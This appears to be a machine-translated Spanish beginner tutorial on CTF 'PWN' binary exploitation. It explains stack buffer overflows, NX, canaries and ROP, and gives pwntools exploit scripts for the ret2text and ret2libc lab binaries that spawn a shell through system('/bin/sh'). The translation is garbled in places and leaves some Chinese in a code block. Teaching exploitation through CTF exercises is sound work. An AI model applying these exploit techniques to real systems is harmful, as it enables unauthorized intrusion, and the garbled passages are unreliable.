¿Qué es PWN?

La base de PWN

1. El origen de PWN

La competencia CTF muestra principalmente las siguientes habilidades: ingeniería inversa, criptografía, programación ACM, vulnerabilidades web, desbordamiento binario, redes y análisis forense. En eventos internacionales de CTF, el desbordamiento binario también se llama PWN.

PWN es un término de argot para la gramática del pirata informático, que se deriva de la palabra "propio". El significado de esta palabra es que el jugador está en la ventaja de la victoria en todo el juego, o que el competidor está en un fiasco completo. El término se usa tradicionalmente en la cultura de los juegos en línea para burlarse de los competidores que han sido completamente derrotados en todo el juego (por ejemplo: "¡Acabas de ser derrotado!"). Hay un evento internacional muy famoso llamado Pwn2Own, creo que ahora puedes entender el significado de este nombre, es decir, derrotar al oponente para lograr el propósito.

El tipo de pregunta PWN en el CTF generalmente proporciona directamente un programa binario compilado (EXE en Windows o archivo ELF en Linux, etc.), y luego los competidores encuentran y explotan la vulnerabilidad a través del análisis inverso y la depuración del programa binario. Use el código para lograr el efecto de los ataques de desbordamiento a través de la ejecución remota de código, y finalmente obtenga el caparazón de la máquina de destino para capturar la bandera.

Segundo, la tubería de Linux

La canalización de Linux puede usar la salida estándar de un proceso como entrada estándar de otro proceso. El símbolo de operación de la canalización es "|". Por ejemplo, el comando ls se puede usar para ver la lista de archivos en el directorio actual, y el comando grep se puede usar para hacer coincidir caracteres específicos, por lo que El comando de prueba ls | grep se puede usar para enumerar archivos que contienen prueba en el directorio actual.

Tres, conceptos básicos de Python

Ejecute python -c "print 'Hello'" en el shell de Linux para ejecutar la declaración de Python entre comillas dobles, es decir, imprima la cadena Hello a través de print. No hay diferencia entre comillas simples y comillas dobles en Python, porque las comillas dobles se usan aquí para modificar las declaraciones de Python, por lo que las comillas simples se usan para modificar cadenas.

Cuatro, depurador gdb

gdb es un depurador de línea de comandos comúnmente utilizado en Linux y tiene funciones de depuración muy potentes. Los comandos gdb necesarios en este artículo son los siguientes:

 
imagen

Cinco, base de compilación

Leer las instrucciones de ensamblaje comunes es el requisito básico para la resolución de problemas de PWN en las competencias de CTF:

 
imagen

En lenguaje ensamblador, el registro esp se usa para indicar la posición de la parte superior de la pila del marco de la pila de la función actual. Las variables locales en la función se almacenan en el espacio de la pila, y la dirección de crecimiento de la pila es hacia abajo (es decir, desde la dirección alta a la dirección baja).

El desbordamiento del búfer significa que cuando la computadora llena el búfer con bits de datos, se excede la capacidad del búfer, de modo que los datos desbordados se sobrescriben en los datos legales. Idealmente, el programa verifica la longitud de los datos y no permite que la entrada exceda la longitud del búfer. Carácter, pero la mayoría de los programas supondrán que la longitud de los datos siempre coincide con el espacio de almacenamiento asignado, lo que representa un peligro oculto para el desbordamiento del búfer.


Comenzando con PWN

1. ¿Qué conocimiento necesitas para aprender pwn?

Las lagunas son generalmente 1. No hay límite para la entrada de la función gets, lo que conduce al desbordamiento. 2. Vulnerabilidad de cadena de formato. 3. Se produjo un desbordamiento durante la conversión del tipo de datos. En general, no es suficiente restringir el valor de entrada para que la entrada del usuario afecte el flujo de ejecución. Entonces, ¿cómo explotar las vulnerabilidades? Hay un sistema de funciones del sistema ("/ bin / bash") en Linux para llamar al shell. Dejar que el programa realice esta función se puede lograr en una llamada a la cáscara _ .

Segundo, lo que necesita atención.

Hay dos cuestiones que deben quedar claras sobre el desbordamiento: 1. ¿Dónde está el vacío legal? Es decir, podemos poner nuestro propio código o caracteres en la función y afectar la ejecución. 2. ¿Qué queremos que haga?

Tres, simple pwn

```
nt __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(&s); printf("Maybe I will tell you next time !"); return 0; } ``` 这里需要安装pwntools[这里可以安装工具](https://blog.csdn.net/gyhgx/article/details/53439417) ``` from pwn import * payload='A'*112+p32(0x0804863a) p=process("./ret2text") p.recvline() p.sendline(payload) p.interactive() ``` 112临时变量|addr(s)-ebp|+4 0x0804863a这个地址处是 ``` .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system ``` 

4. Mecanismo de protección del sistema.

Por supuesto, el sistema también tiene muchos mecanismos de protección.

La herramienta checksec puede ayudarnos a verificar la protección que abre el programa.

El siguiente es el resultado de la ejecución de checksec


root@kali:~/桌面# checksec ret2text [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/ret2text' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 

Ahora los dos que contacto son NX y stack. La protección de NX es que el código en la estación no es ejecutable. Pila es poner un valor canario en la pila. Una vez que se modifica el valor, se activará la función check_failed (), imprimirá el nombre del programa y saldrá.

Protección NX:

Si no puede hacerlo, no lo haré. El contenido de la pila solo es responsable de introducir el flujo de ejecución del programa en una ubicación donde se necesita el código de ensamblaje, y luego llamar al código del programa para implementar el ataque. Puede llamar al código que contiene call o ret para poder continuar conectándose. Esta es la cadena ROP.

canario :

Cuando la función se ejecuta, pone un valor en una posición en la pila. Si queremos desbordar la dirección de retorno, necesitamos cambiar este valor. Al regresar, el sistema verifica si el valor canario ha cambiado. Si cambia, llamamos a la función check_failed () para imprimir El nombre del programa se cierra. En base a este principio podemos 1, encontrar el valor de canario y completarlo. 2. La dirección de llamada de check_ \ failure () se puede sobrescribir con system ()

¿Qué pasa si el sistema y "/ bin / bash" no se unen

Este es el resultado de la descompilación ida.


int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; } 

La única diferencia es que el sistema y la cadena "/ bin / bash" están separados.

Debajo está el guión


from pwn import *

elf=ELF('ret2libc1') payload='A'*112+p32(elf.plt['system'])+'aaaa'+p32(0x8049720) p=process("./ret2libc1") p.recvline() p.sendline(payload) p.interactive() 

Preste atención a la carga útil que el duende usa para cargar la biblioteca dinámica, que es una dirección, y un jmp xxx xxx es la dirección del sistema. 'aaaa' es la dirección de retorno del sistema, no es necesario devolverlo, por lo que este valor es inútil, p32 (0x8049720) es la dirección de '/ bin / bash'. Cabe señalar que el ejemplo anterior solo necesita pasar los parámetros. Aquí, al ingresar al sistema no solo es necesario organizar el '/ bin / bash' sino también la dirección de retorno.



Autor: Chen Xuanxiao
enlace: https: //www.jianshu.com/p/4ce73b3f8f4c
Fuente: libros de Jane
tienen derechos de autor por el autor. Para reproducción comercial, por favor contacte al autor para autorización, y para reproducción no comercial, por favor indique la fuente.

Supongo que te gusta

Origin www.cnblogs.com/cappuccino-jay/p/12704172.html
Recomendado
Clasificación